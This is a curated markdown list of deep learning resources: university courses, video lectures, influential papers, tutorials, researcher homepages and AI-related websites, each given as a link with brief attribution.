1. [Machine Learning - Stanford](https://class.coursera.org/ml-005) by Andrew Ng in Coursera (2010-2014)
2. [Machine Learning - Caltech](http://work.caltech.edu/lectures.html) by Yaser Abu-Mostafa (2012-2014)
3. [Machine Learning - Carnegie Mellon](http://www.cs.cmu.edu/~tom/10701_sp11/lectures.shtml) by Tom Mitchell (Spring 2011)
2. [Neural Networks for Machine Learning](https://class.coursera.org/neuralnets-2012-001) by Geoffrey Hinton in Coursera (2012)
3. [Neural networks class](https://www.youtube.com/playlist?list=PL6Xpj9I5qXYEcOhn7TqghAJ6NAPrNmUBH) by Hugo Larochelle from Université de Sherbrooke (2013)
4. [Deep Learning Course](http://cilvr.cs.nyu.edu/doku.php?id=deeplearning:slides:start) by CILVR lab @ NYU (2014)
5. [A.I - Berkeley](https://courses.edx.org/courses/BerkeleyX/CS188x_1/1T2013/courseware/) by Dan Klein and Pieter Abbeel (2013)
6. [A.I - MIT](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-034-artificial-intelligence-fall-2010/lecture-videos/) by Patrick Henry Winston (2010)
7. [Vision and learning - computers and brains](http://web.mit.edu/course/other/i2course/www/vision_and_learning_fall_2013.html) by Shimon Ullman, Tomaso Poggio, Ethan Meyers @ MIT (2013)
9. [Convolutional Neural Networks for Visual Recognition - Stanford](http://vision.stanford.edu/teaching/cs231n/syllabus.html) by Fei-Fei Li, Andrej Karpathy (2017)
10. [Deep Learning for Natural Language Processing - Stanford](http://cs224d.stanford.edu/)
11. [Neural Networks - usherbrooke](http://info.usherbrooke.ca/hlarochelle/neural_networks/content.html)
12. [Machine Learning - Oxford](https://www.cs.ox.ac.uk/people/nando.defreitas/machinelearning/) (2014-2015)
13. [Deep Learning - Nvidia](https://developer.nvidia.com/deep-learning-courses) (2015)
14. [Graduate Summer School: Deep Learning, Feature Learning](https://www.youtube.com/playlist?list=PLHyI3Fbmv0SdzMHAy0aN59oYnLy5vyyTA) by Geoffrey Hinton, Yoshua Bengio, Yann LeCun, Andrew Ng, Nando de Freitas and several others @ IPAM, UCLA (2012)
15. [Deep Learning - Udacity/Google](https://www.udacity.com/course/deep-learning--ud730) by Vincent Vanhoucke and Arpan Chakraborty (2016)
16. [Deep Learning - UWaterloo](https://www.youtube.com/playlist?list=PLehuLRPyt1Hyi78UOkMPWCGRxGcA9NVOE) by Prof. Ali Ghodsi at University of Waterloo (2015)
17. [Statistical Machine Learning - CMU](https://www.youtube.com/watch?v=azaLcvuql_g&list=PLjbUi5mgii6BWEUZf7He6nowWvGne_Y8r) by Prof. Larry Wasserman
18. [Deep Learning Course](https://www.college-de-france.fr/site/en-yann-lecun/course-2015-2016.htm) by Yann LeCun (2016)
19. [Designing, Visualizing and Understanding Deep Neural Networks-UC Berkeley](https://www.youtube.com/playlist?list=PLkFD6_40KJIxopmdJF_CLNqG3QuDFHQUm)
20. [UVA Deep Learning Course](http://uvadlc.github.io) MSc in Artificial Intelligence for the University of Amsterdam.
21. [MIT 6.S094: Deep Learning for Self-Driving Cars](http://selfdrivingcars.mit.edu/)
22. [MIT 6.S191: Introduction to Deep Learning](http://introtodeeplearning.com/)
23. [Berkeley CS 294: Deep Reinforcement Learning](http://rll.berkeley.edu/deeprlcourse/)
24. [Keras in Motion video course](https://www.manning.com/livevideo/keras-in-motion)
25. [Practical Deep Learning For Coders](http://course.fast.ai/) by Jeremy Howard - Fast.ai
26. [Introduction to Deep Learning](http://deeplearning.cs.cmu.edu/) by Prof. Bhiksha Raj (2017)
27. [AI for Everyone](https://www.deeplearning.ai/ai-for-everyone/) by Andrew Ng (2019)
28. [MIT Intro to Deep Learning 7 day bootcamp](https://introtodeeplearning.com) - A seven day bootcamp designed in MIT to introduce deep learning methods and applications (2019)
29. [Deep Blueberry: Deep Learning](https://mithi.github.io/deep-blueberry) - A free five-weekend plan to self-learners to learn the basics of deep-learning architectures like CNNs, LSTMs, RNNs, VAEs, GANs, DQN, A3C and more (2019)
30. [Spinning Up in Deep Reinforcement Learning](https://spinningup.openai.com/) - A free deep reinforcement learning course by OpenAI (2019)
31. [Deep Learning Specialization - Coursera](https://www.coursera.org/specializations/deep-learning) - Breaking into AI with the best course from Andrew NG.
32. [Deep Learning - UC Berkeley | STAT-157](https://www.youtube.com/playlist?list=PLZSO_6-bSqHQHBCoGaObUljoXAyyqhpFW) by Alex Smola and Mu Li (2019)
33. [Machine Learning for Mere Mortals video course](https://www.manning.com/livevideo/machine-learning-for-mere-mortals) by Nick Chase
34. [Machine Learning Crash Course with TensorFlow APIs](https://developers.google.com/machine-learning/crash-course/) -Google AI
35. [Deep Learning from the Foundations](https://course.fast.ai/part2) Jeremy Howard - Fast.ai
36. [Deep Reinforcement Learning (nanodegree) - Udacity](https://www.udacity.com/course/deep-reinforcement-learning-nanodegree--nd893) a 3-6 month Udacity nanodegree, spanning multiple courses (2018)
37. [Grokking Deep Learning in Motion](https://www.manning.com/livevideo/grokking-deep-learning-in-motion) by Beau Carnes (2018)
38. [Face Detection with Computer Vision and Deep Learning](https://www.udemy.com/share/1000gAA0QdcV9aQng=/) by Hakan Cebeci
39. [Deep Learning Online Course list at Classpert](https://classpert.com/deep-learning) List of Deep Learning online courses (some are free) from Classpert Online Course Search
40. [AWS Machine Learning](https://aws.training/machinelearning) Machine Learning and Deep Learning Courses from Amazon's Machine Learning university
41. [Intro to Deep Learning with PyTorch](https://www.udacity.com/course/deep-learning-pytorch--ud188) - A great introductory course on Deep Learning by Udacity and Facebook AI
42. [Deep Learning by Kaggle](https://www.kaggle.com/learn/deep-learning) - Kaggle's free course on Deep Learning
43. [Yann LeCun’s Deep Learning Course at CDS](https://cds.nyu.edu/deep-learning/) - DS-GA 1008 · SPRING 2021
44. [Neural Networks and Deep Learning](https://webcms3.cse.unsw.edu.au/COMP9444/19T3/) - COMP9444 19T3
45. [Deep Learning A.I.Shelf](http://aishelf.org/category/ia/deep-learning/)
### Videos and Lectures
1. [How To Create A Mind](https://www.youtube.com/watch?v=RIkxVci-R4k) By Ray Kurzweil
2. [Deep Learning, Self-Taught Learning and Unsupervised Feature Learning](https://www.youtube.com/watch?v=n1ViNeWhC24) By Andrew Ng
3. [Recent Developments in Deep Learning](https://www.youtube.com/watch?v=vShMxxqtDDs&index=3&list=PL78U8qQHXgrhP9aZraxTT5-X1RccTcUYT) By Geoff Hinton
4. [The Unreasonable Effectiveness of Deep Learning](https://www.youtube.com/watch?v=sc-KbuZqGkI) by Yann LeCun
5. [Deep Learning of Representations](https://www.youtube.com/watch?v=4xsVFLnHC_0) by Yoshua bengio
6. [Principles of Hierarchical Temporal Memory](https://www.youtube.com/watch?v=6ufPpZDmPKA) by Jeff Hawkins
7. [Machine Learning Discussion Group - Deep Learning w/ Stanford AI Lab](https://www.youtube.com/watch?v=2QJi0ArLq7s&list=PL78U8qQHXgrhP9aZraxTT5-X1RccTcUYT) by Adam Coates
8. [Making Sense of the World with Deep Learning](http://vimeo.com/80821560) By Adam Coates
9. [Demystifying Unsupervised Feature Learning ](https://www.youtube.com/watch?v=wZfVBwOO0-k) By Adam Coates
10. [Visual Perception with Deep Learning](https://www.youtube.com/watch?v=3boKlkPBckA) By Yann LeCun
11. [The Next Generation of Neural Networks](https://www.youtube.com/watch?v=AyzOUbkUf3M) By Geoffrey Hinton at GoogleTechTalks
12. [The wonderful and terrifying implications of computers that can learn](http://www.ted.com/talks/jeremy_howard_the_wonderful_and_terrifying_implications_of_computers_that_can_learn) By Jeremy Howard at TEDxBrussels
13. [Unsupervised Deep Learning - Stanford](http://web.stanford.edu/class/cs294a/handouts.html) by Andrew Ng in Stanford (2011)
14. [Natural Language Processing](http://web.stanford.edu/class/cs224n/handouts/) By Chris Manning in Stanford
15. [A beginners Guide to Deep Neural Networks](http://googleresearch.blogspot.com/2015/09/a-beginners-guide-to-deep-neural.html) By Natalie Hammel and Lorraine Yurshansky
16. [Deep Learning: Intelligence from Big Data](https://www.youtube.com/watch?v=czLI3oLDe8M) by Steve Jurvetson (and panel) at VLAB in Stanford.
17. [Introduction to Artificial Neural Networks and Deep Learning](https://www.youtube.com/watch?v=FoO8qDB8gUU) by Leo Isikdogan at Motorola Mobility HQ
18. [NIPS 2016 lecture and workshop videos](https://nips.cc/Conferences/2016/Schedule) - NIPS 2016
19. [Deep Learning Crash Course](https://www.youtube.com/watch?v=oS5fz_mHVz0&list=PLWKotBjTDoLj3rXBL-nEIPRN9V3a9Cx07): a series of mini-lectures by Leo Isikdogan on YouTube (2018)
20. [Deep Learning Crash Course](https://www.manning.com/livevideo/deep-learning-crash-course) By Oliver Zeigermann
21. [Deep Learning with R in Motion](https://www.manning.com/livevideo/deep-learning-with-r-in-motion): a live video course that teaches how to apply deep learning to text and images using the powerful Keras library and its R language interface.
22. [Medical Imaging with Deep Learning Tutorial](https://www.youtube.com/playlist?list=PLheiZMDg_8ufxEx9cNVcOYXsT3BppJP4b): This tutorial is styled as a graduate lecture about medical imaging with deep learning. This will cover the background of popular medical image domains (chest X-ray and histology) as well as methods to tackle multi-modality/view, segmentation, and counting tasks.
23. [Deepmind x UCL Deeplearning](https://www.youtube.com/playlist?list=PLqYmG7hTraZCDxZ44o4p3N5Anz3lLRVZF): 2020 version
24. [Deepmind x UCL Reinforcement Learning](https://www.youtube.com/playlist?list=PLqYmG7hTraZBKeNJ-JE_eyJHZ7XgBoAyb): Deep Reinforcement Learning
25. [CMU 11-785 Intro to Deep learning Spring 2020](https://www.youtube.com/playlist?list=PLp-0K3kfddPzCnS4CqKphh-zT3aDwybDe) Course: 11-785, Intro to Deep Learning by Bhiksha Raj
26. [Machine Learning CS 229](https://www.youtube.com/playlist?list=PLoROMvodv4rMiGQp3WXShtMGgzqpfVfbU) : End part focuses on deep learning By Andrew Ng
27. [What is Neural Structured Learning by Andrew Ferlitsch](https://youtu.be/LXWSE_9gHd0)
28. [Deep Learning Design Patterns by Andrew Ferlitsch](https://youtu.be/_DaviS6K0Vc)
29. [Architecture of a Modern CNN: the design pattern approach by Andrew Ferlitsch](https://youtu.be/QCGSS3kyGo0)
30. [Metaparameters in a CNN by Andrew Ferlitsch](https://youtu.be/K1PLeggQ33I)
31. [Multi-task CNN: a real-world example by Andrew Ferlitsch](https://youtu.be/dH2nuI-1-qM)
32. [A friendly introduction to deep reinforcement learning by Luis Serrano](https://youtu.be/1FyAh07jh0o)
33. [What are GANs and how do they work? by Edward Raff](https://youtu.be/f6ivp84qFUc)
34. [Coding a basic WGAN in PyTorch by Edward Raff](https://youtu.be/7VRdaqMDalQ)
35. [Training a Reinforcement Learning Agent by Miguel Morales](https://youtu.be/8TMT-gHlj_Q)
36. [Understand what is Deep Learning](https://www.scaler.com/topics/what-is-deep-learning/)
### Papers
*You can also find the most cited deep learning papers from [here](https://github.com/terryum/awesome-deep-learning-papers)*
1. [ImageNet Classification with Deep Convolutional Neural Networks](http://papers.nips.cc/paper/4824-imagenet-classification-with-deep-convolutional-neural-networks.pdf)
2. [Using Very Deep Autoencoders for Content Based Image Retrieval](http://www.cs.toronto.edu/~hinton/absps/esann-deep-final.pdf)
3. [Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~lisa/pointeurs/TR1312.pdf)
4. [CMU’s list of papers](http://deeplearning.cs.cmu.edu/)
5. [Neural Networks for Named Entity Recognition](http://nlp.stanford.edu/~socherr/pa4_ner.pdf) [zip](http://nlp.stanford.edu/~socherr/pa4-ner.zip)
6. [Training tricks by YB](http://www.iro.umontreal.ca/~bengioy/papers/YB-tricks.pdf)
7. [Geoff Hinton's reading list (all papers)](http://www.cs.toronto.edu/~hinton/deeprefs.html)
8. [Supervised Sequence Labelling with Recurrent Neural Networks](http://www.cs.toronto.edu/~graves/preprint.pdf)
9. [Statistical Language Models based on Neural Networks](http://www.fit.vutbr.cz/~imikolov/rnnlm/thesis.pdf)
10. [Training Recurrent Neural Networks](http://www.cs.utoronto.ca/~ilya/pubs/ilya_sutskever_phd_thesis.pdf)
11. [Recursive Deep Learning for Natural Language Processing and Computer Vision](http://nlp.stanford.edu/~socherr/thesis.pdf)
12. [Bi-directional RNN](http://www.di.ufpe.br/~fnj/RNA/bibliografia/BRNN.pdf)
13. [LSTM](http://web.eecs.utk.edu/~itamar/courses/ECE-692/Bobby_paper1.pdf)
14. [GRU - Gated Recurrent Unit](http://arxiv.org/pdf/1406.1078v3.pdf)
15. [GFRNN](http://arxiv.org/pdf/1502.02367v3.pdf) [.](http://jmlr.org/proceedings/papers/v37/chung15.pdf) [.](http://jmlr.org/proceedings/papers/v37/chung15-supp.pdf)
16. [LSTM: A Search Space Odyssey](http://arxiv.org/pdf/1503.04069v1.pdf)
17. [A Critical Review of Recurrent Neural Networks for Sequence Learning](http://arxiv.org/pdf/1506.00019v1.pdf)
18. [Visualizing and Understanding Recurrent Networks](http://arxiv.org/pdf/1506.02078v1.pdf)
19. [Wojciech Zaremba, Ilya Sutskever, An Empirical Exploration of Recurrent Network Architectures](http://jmlr.org/proceedings/papers/v37/jozefowicz15.pdf)
20. [Recurrent Neural Network based Language Model](http://www.fit.vutbr.cz/research/groups/speech/publi/2010/mikolov_interspeech2010_IS100722.pdf)
21. [Extensions of Recurrent Neural Network Language Model](http://www.fit.vutbr.cz/research/groups/speech/publi/2011/mikolov_icassp2011_5528.pdf)
22. [Recurrent Neural Network based Language Modeling in Meeting Recognition](http://www.fit.vutbr.cz/~imikolov/rnnlm/ApplicationOfRNNinMeetingRecognition_IS2011.pdf)
23. [Deep Neural Networks for Acoustic Modeling in Speech Recognition](http://cs224d.stanford.edu/papers/maas_paper.pdf)
24. [Speech Recognition with Deep Recurrent Neural Networks](http://www.cs.toronto.edu/~fritz/absps/RNN13.pdf)
25. [Reinforcement Learning Neural Turing Machines](http://arxiv.org/pdf/1505.00521v1)
26. [Learning Phrase Representations using RNN Encoder-Decoder for Statistical Machine Translation](http://arxiv.org/pdf/1406.1078v3.pdf)
27. [Google - Sequence to Sequence Learning with Neural Networks](http://papers.nips.cc/paper/5346-sequence-to-sequence-learning-with-neural-networks.pdf)
28. [Memory Networks](http://arxiv.org/pdf/1410.3916v10)
29. [Policy Learning with Continuous Memory States for Partially Observed Robotic Control](http://arxiv.org/pdf/1507.01273v1)
30. [Microsoft - Jointly Modeling Embedding and Translation to Bridge Video and Language](http://arxiv.org/pdf/1505.01861v1.pdf)
31. [Neural Turing Machines](http://arxiv.org/pdf/1410.5401v2.pdf)
32. [Ask Me Anything: Dynamic Memory Networks for Natural Language Processing](http://arxiv.org/pdf/1506.07285v1.pdf)
33. [Mastering the Game of Go with Deep Neural Networks and Tree Search](http://www.nature.com/nature/journal/v529/n7587/pdf/nature16961.pdf)
34. [Batch Normalization](https://arxiv.org/abs/1502.03167)
35. [Residual Learning](https://arxiv.org/pdf/1512.03385v1.pdf)
36. [Image-to-Image Translation with Conditional Adversarial Networks](https://arxiv.org/pdf/1611.07004v1.pdf)
37. [Berkeley AI Research (BAIR) Laboratory](https://arxiv.org/pdf/1611.07004v1.pdf)
38. [MobileNets by Google](https://arxiv.org/abs/1704.04861)
39. [Cross Audio-Visual Recognition in the Wild Using Deep Learning](https://arxiv.org/abs/1706.05739)
40. [Dynamic Routing Between Capsules](https://arxiv.org/abs/1710.09829)
41. [Matrix Capsules With Em Routing](https://openreview.net/pdf?id=HJWLfGWRb)
42. [Efficient BackProp](http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf)
43. [Generative Adversarial Nets](https://arxiv.org/pdf/1406.2661v1.pdf)
44. [Fast R-CNN](https://arxiv.org/pdf/1504.08083.pdf)
45. [FaceNet: A Unified Embedding for Face Recognition and Clustering](https://arxiv.org/pdf/1503.03832.pdf)
46. [Siamese Neural Networks for One-shot Image Recognition](https://www.cs.cmu.edu/~rsalakhu/papers/oneshot1.pdf)
47. [Unsupervised Translation of Programming Languages](https://arxiv.org/pdf/2006.03511.pdf)
48. [Matching Networks for One Shot Learning](http://papers.nips.cc/paper/6385-matching-networks-for-one-shot-learning.pdf)
49. [VOLO: Vision Outlooker for Visual Recognition](https://arxiv.org/pdf/2106.13112.pdf)
50. [ViT: An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale](https://arxiv.org/pdf/2010.11929.pdf)
51. [Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift](http://proceedings.mlr.press/v37/ioffe15.pdf)
52. [DeepFaceDrawing: Deep Generation of Face Images from Sketches](http://geometrylearning.com/paper/DeepFaceDrawing.pdf?fbclid=IwAR0colWFHPGBCB1APZq9JVsWeWtmeZd9oCTNQvR52T5PRUJP_dLOwB8pt0I)
### Tutorials
1. [UFLDL Tutorial 1](http://deeplearning.stanford.edu/wiki/index.php/UFLDL_Tutorial)
2. [UFLDL Tutorial 2](http://ufldl.stanford.edu/tutorial/supervised/LinearRegression/)
3. [Deep Learning for NLP (without Magic)](http://www.socher.org/index.php/DeepLearningTutorial/DeepLearningTutorial)
4. [A Deep Learning Tutorial: From Perceptrons to Deep Networks](http://www.toptal.com/machine-learning/an-introduction-to-deep-learning-from-perceptrons-to-deep-networks)
5. [Deep Learning from the Bottom up](http://www.metacademy.org/roadmaps/rgrosse/deep_learning)
6. [Theano Tutorial](http://deeplearning.net/tutorial/deeplearning.pdf)
7. [Neural Networks for Matlab](http://uk.mathworks.com/help/pdf_doc/nnet/nnet_ug.pdf)
8. [Using convolutional neural nets to detect facial keypoints tutorial](http://danielnouri.org/notes/2014/12/17/using-convolutional-neural-nets-to-detect-facial-keypoints-tutorial/)
9. [Torch7 Tutorials](https://github.com/clementfarabet/ipam-tutorials/tree/master/th_tutorials)
10. [The Best Machine Learning Tutorials On The Web](https://github.com/josephmisiti/machine-learning-module)
11. [VGG Convolutional Neural Networks Practical](http://www.robots.ox.ac.uk/~vgg/practicals/cnn/index.html)
12. [TensorFlow tutorials](https://github.com/nlintz/TensorFlow-Tutorials)
13. [More TensorFlow tutorials](https://github.com/pkmital/tensorflow_tutorials)
13. [TensorFlow Python Notebooks](https://github.com/aymericdamien/TensorFlow-Examples)
14. [Keras and Lasagne Deep Learning Tutorials](https://github.com/Vict0rSch/deep_learning)
15. [Classification on raw time series in TensorFlow with a LSTM RNN](https://github.com/guillaume-chevalier/LSTM-Human-Activity-Recognition)
16. [Using convolutional neural nets to detect facial keypoints tutorial](http://danielnouri.org/notes/2014/12/17/using-convolutional-neural-nets-to-detect-facial-keypoints-tutorial/)
17. [TensorFlow-World](https://github.com/astorfi/TensorFlow-World)
18. [Deep Learning with Python](https://www.manning.com/books/deep-learning-with-python)
19. [Grokking Deep Learning](https://www.manning.com/books/grokking-deep-learning)
20. [Deep Learning for Search](https://www.manning.com/books/deep-learning-for-search)
21. [Keras Tutorial: Content Based Image Retrieval Using a Convolutional Denoising Autoencoder](https://medium.com/sicara/keras-tutorial-content-based-image-retrieval-convolutional-denoising-autoencoder-dc91450cc511)
22. [Pytorch Tutorial by Yunjey Choi](https://github.com/yunjey/pytorch-tutorial)
23. [Understanding deep Convolutional Neural Networks with a practical use-case in Tensorflow and Keras](https://ahmedbesbes.com/understanding-deep-convolutional-neural-networks-with-a-practical-use-case-in-tensorflow-and-keras.html)
24. [Overview and benchmark of traditional and deep learning models in text classification](https://ahmedbesbes.com/overview-and-benchmark-of-traditional-and-deep-learning-models-in-text-classification.html)
25. [Hardware for AI: Understanding computer hardware & build your own computer](https://github.com/MelAbgrall/HardwareforAI)
26. [Programming Community Curated Resources](https://hackr.io/tutorials/learn-artificial-intelligence-ai)
27. [The Illustrated Self-Supervised Learning](https://amitness.com/2020/02/illustrated-self-supervised-learning/)
28. [Visual Paper Summary: ALBERT (A Lite BERT)](https://amitness.com/2020/02/albert-visual-summary/)
28. [Semi-Supervised Deep Learning with GANs for Melanoma Detection](https://www.manning.com/liveproject/semi-supervised-deep-learning-with-gans-for-melanoma-detection/)
29. [Named Entity Recognition using Reformers](https://github.com/SauravMaheshkar/Trax-Examples/blob/main/NLP/NER%20using%20Reformer.ipynb)
30. [Deep N-Gram Models on Shakespeare’s works](https://github.com/SauravMaheshkar/Trax-Examples/blob/main/NLP/Deep%20N-Gram.ipynb)
31. [Wide Residual Networks](https://github.com/SauravMaheshkar/Trax-Examples/blob/main/vision/illustrated-wideresnet.ipynb)
32. [Fashion MNIST using Flax](https://github.com/SauravMaheshkar/Flax-Examples)
33. [Fake News Classification (with streamlit deployment)](https://github.com/SauravMaheshkar/Fake-News-Classification)
34. [Regression Analysis for Primary Biliary Cirrhosis](https://github.com/SauravMaheshkar/CoxPH-Model-for-Primary-Biliary-Cirrhosis)
35. [Cross Matching Methods for Astronomical Catalogs](https://github.com/SauravMaheshkar/Cross-Matching-Methods-for-Astronomical-Catalogs)
36. [Named Entity Recognition using BiDirectional LSTMs](https://github.com/SauravMaheshkar/Named-Entity-Recognition-)
37. [Image Recognition App using Tflite and Flutter](https://github.com/SauravMaheshkar/Flutter_Image-Recognition)
## Researchers
1. [Aaron Courville](http://aaroncourville.wordpress.com)
2. [Abdel-rahman Mohamed](http://www.cs.toronto.edu/~asamir/)
3. [Adam Coates](http://cs.stanford.edu/~acoates/)
4. [Alex Acero](http://research.microsoft.com/en-us/people/alexac/)
5. [ Alex Krizhevsky ](http://www.cs.utoronto.ca/~kriz/index.html)
6. [ Alexander Ilin ](http://users.ics.aalto.fi/alexilin/)
7. [ Amos Storkey ](http://homepages.inf.ed.ac.uk/amos/)
8. [ Andrej Karpathy ](https://karpathy.ai/)
9. [ Andrew M. Saxe ](http://www.stanford.edu/~asaxe/)
10. [ Andrew Ng ](http://www.cs.stanford.edu/people/ang/)
11. [ Andrew W. Senior ](http://research.google.com/pubs/author37792.html)
12. [ Andriy Mnih ](http://www.gatsby.ucl.ac.uk/~amnih/)
13. [ Ayse Naz Erkan ](http://www.cs.nyu.edu/~naz/)
14. [ Benjamin Schrauwen ](http://reslab.elis.ugent.be/benjamin)
15. [ Bernardete Ribeiro ](https://www.cisuc.uc.pt/people/show/2020)
16. [ Bo David Chen ](http://vision.caltech.edu/~bchen3/Site/Bo_David_Chen.html)
17. [ Boureau Y-Lan ](http://cs.nyu.edu/~ylan/)
18. [ Brian Kingsbury ](http://researcher.watson.ibm.com/researcher/view.php?person=us-bedk)
19. [ Christopher Manning ](http://nlp.stanford.edu/~manning/)
20. [ Clement Farabet ](http://www.clement.farabet.net/)
21. [ Dan Claudiu Cireșan ](http://www.idsia.ch/~ciresan/)
22. [ David Reichert ](http://serre-lab.clps.brown.edu/person/david-reichert/)
23. [ Derek Rose ](http://mil.engr.utk.edu/nmil/member/5.html)
24. [ Dong Yu ](http://research.microsoft.com/en-us/people/dongyu/default.aspx)
25. [ Drausin Wulsin ](http://www.seas.upenn.edu/~wulsin/)
26. [ Erik M. Schmidt ](http://music.ece.drexel.edu/people/eschmidt)
27. [ Eugenio Culurciello ](https://engineering.purdue.edu/BME/People/viewPersonById?resource_id=71333)
28. [ Frank Seide ](http://research.microsoft.com/en-us/people/fseide/)
29. [ Galen Andrew ](http://homes.cs.washington.edu/~galen/)
30. [ Geoffrey Hinton ](http://www.cs.toronto.edu/~hinton/)
31. [ George Dahl ](http://www.cs.toronto.edu/~gdahl/)
32. [ Graham Taylor ](http://www.uoguelph.ca/~gwtaylor/)
33. [ Grégoire Montavon ](http://gregoire.montavon.name/)
34. [ Guido Francisco Montúfar ](http://personal-homepages.mis.mpg.de/montufar/)
35. [ Guillaume Desjardins ](http://brainlogging.wordpress.com/)
36. [ Hannes Schulz ](http://www.ais.uni-bonn.de/~schulz/)
37. [ Hélène Paugam-Moisy ](http://www.lri.fr/~hpaugam/)
38. [ Honglak Lee ](http://web.eecs.umich.edu/~honglak/)
39. [ Hugo Larochelle ](http://www.dmi.usherb.ca/~larocheh/index_en.html)
40. [ Ilya Sutskever ](http://www.cs.toronto.edu/~ilya/)
41. [ Itamar Arel ](http://mil.engr.utk.edu/nmil/member/2.html)
42. [ James Martens ](http://www.cs.toronto.edu/~jmartens/)
43. [ Jason Morton ](http://www.jasonmorton.com/)
44. [ Jason Weston ](http://www.thespermwhale.com/jaseweston/)
45. [ Jeff Dean ](http://research.google.com/pubs/jeff.html)
46. [ Jiquan Mgiam ](http://cs.stanford.edu/~jngiam/)
47. [ Joseph Turian ](http://www-etud.iro.umontreal.ca/~turian/)
48. [ Joshua Matthew Susskind ](http://aclab.ca/users/josh/index.html)
49. [ Jürgen Schmidhuber ](http://www.idsia.ch/~juergen/)
50. [ Justin A. Blanco ](https://sites.google.com/site/blancousna/)
51. [ Koray Kavukcuoglu ](http://koray.kavukcuoglu.org/)
52. [ KyungHyun Cho ](http://users.ics.aalto.fi/kcho/)
53. [ Li Deng ](http://research.microsoft.com/en-us/people/deng/)
54. [ Lucas Theis ](http://www.kyb.tuebingen.mpg.de/nc/employee/details/lucas.html)
55. [ Ludovic Arnold ](http://ludovicarnold.altervista.org/home/)
56. [ Marc'Aurelio Ranzato ](http://www.cs.nyu.edu/~ranzato/)
57. [ Martin Längkvist ](http://aass.oru.se/~mlt/)
58. [ Misha Denil ](http://mdenil.com/)
59. [ Mohammad Norouzi ](http://www.cs.toronto.edu/~norouzi/)
60. [ Nando de Freitas ](http://www.cs.ubc.ca/~nando/)
61. [ Navdeep Jaitly ](http://www.cs.utoronto.ca/~ndjaitly/)
62. [ Nicolas Le Roux ](http://nicolas.le-roux.name/)
63. [ Nitish Srivastava ](http://www.cs.toronto.edu/~nitish/)
64. [ Noel Lopes ](https://www.cisuc.uc.pt/people/show/2028)
65. [ Oriol Vinyals ](http://www.cs.berkeley.edu/~vinyals/)
66. [ Pascal Vincent ](http://www.iro.umontreal.ca/~vincentp)
67. [ Patrick Nguyen ](https://sites.google.com/site/drpngx/)
68. [ Pedro Domingos ](http://homes.cs.washington.edu/~pedrod/)
69. [ Peggy Series ](http://homepages.inf.ed.ac.uk/pseries/)
70. [ Pierre Sermanet ](http://cs.nyu.edu/~sermanet)
71. [ Piotr Mirowski ](http://www.cs.nyu.edu/~mirowski/)
72. [ Quoc V. Le ](http://ai.stanford.edu/~quocle/)
73. [ Reinhold Scherer ](http://bci.tugraz.at/scherer/)
74. [ Richard Socher ](http://www.socher.org/)
75. [ Rob Fergus ](http://cs.nyu.edu/~fergus/pmwiki/pmwiki.php)
76. [ Robert Coop ](http://mil.engr.utk.edu/nmil/member/19.html)
77. [ Robert Gens ](http://homes.cs.washington.edu/~rcg/)
78. [ Roger Grosse ](http://people.csail.mit.edu/rgrosse/)
79. [ Ronan Collobert ](http://ronan.collobert.com/)
80. [ Ruslan Salakhutdinov ](http://www.utstat.toronto.edu/~rsalakhu/)
81. [ Sebastian Gerwinn ](http://www.kyb.tuebingen.mpg.de/nc/employee/details/sgerwinn.html)
82. [ Stéphane Mallat ](http://www.cmap.polytechnique.fr/~mallat/)
83. [ Sven Behnke ](http://www.ais.uni-bonn.de/behnke/)
84. [ Tapani Raiko ](http://users.ics.aalto.fi/praiko/)
85. [ Tara Sainath ](https://sites.google.com/site/tsainath/)
86. [ Tijmen Tieleman ](http://www.cs.toronto.edu/~tijmen/)
87. [ Tom Karnowski ](http://mil.engr.utk.edu/nmil/member/36.html)
88. [ Tomáš Mikolov ](https://research.facebook.com/tomas-mikolov)
89. [ Ueli Meier ](http://www.idsia.ch/~meier/)
90. [ Vincent Vanhoucke ](http://vincent.vanhoucke.com)
91. [ Volodymyr Mnih ](http://www.cs.toronto.edu/~vmnih/)
92. [ Yann LeCun ](http://yann.lecun.com/)
93. [ Yichuan Tang ](http://www.cs.toronto.edu/~tang/)
94. [ Yoshua Bengio ](http://www.iro.umontreal.ca/~bengioy/yoshua_en/index.html)
95. [ Yotaro Kubo ](http://yota.ro/)
96. [ Youzhi (Will) Zou ](http://ai.stanford.edu/~wzou)
97. [ Fei-Fei Li ](http://vision.stanford.edu/feifeili)
98. [ Ian Goodfellow ](https://research.google.com/pubs/105214.html)
99. [ Robert Laganière ](http://www.site.uottawa.ca/~laganier/)
100. [Merve Ayyüce Kızrak](http://www.ayyucekizrak.com/)
### Websites
1. [deeplearning.net](http://deeplearning.net/)
2. [deeplearning.stanford.edu](http://deeplearning.stanford.edu/)
3. [nlp.stanford.edu](http://nlp.stanford.edu/)
4. [ai-junkie.com](http://www.ai-junkie.com/ann/evolved/nnt1.html)
5. [cs.brown.edu/research/ai](http://cs.brown.edu/research/ai/)
6. [eecs.umich.edu/ai](http://www.eecs.umich.edu/ai/)
7. [cs.utexas.edu/users/ai-lab](http://www.cs.utexas.edu/users/ai-lab/)
8. [cs.washington.edu/research/ai](http://www.cs.washington.edu/research/ai/)
9. [aiai.ed.ac.uk](http://www.aiai.ed.ac.uk/)
10. [www-aig.jpl.nasa.gov](http://www-aig.jpl.nasa.gov/)
11. [csail.mit.edu](http://www.csail.mit.edu/)
12. [cgi.cse.unsw.edu.au/~aishare](http://cgi.cse.unsw.edu.au/~aishare/)
13. [cs.rochester.edu/research/ai](http://www.cs.rochester.edu/research/ai/)
14. [ai.sri.com](http://www.ai.sri.com/)
15. [isi.edu/AI/isd.htm](http://www.isi.edu/AI/isd.htm)
16. [nrl.navy.mil/itd/aic](http://www.nrl.navy.mil/itd/aic/)
17. [hips.seas.harvard.edu](http://hips.seas.harvard.edu/)
18. [AI Weekly](http://aiweekly.co)
19. [stat.ucla.edu](http://statistics.ucla.edu/)
20. [deeplearning.cs.toronto.edu](http://deeplearning.cs.toronto.edu/i2t)
21. [jeffdonahue.com/lrcn/](http://jeffdonahue.com/lrcn/)
22. [visualqa.org](http://www.visualqa.org/)
23. [www.mpi-inf.mpg.de/departments/computer-vision...](https://www.mpi-inf.mpg.de/departments/computer-vision-and-multimodal-computing/)
24. [Deep Learning News](http://news.startup.ml/)
25. [Machine Learning is Fun! Adam Geitgey's Blog](https://medium.com/@ageitgey/)
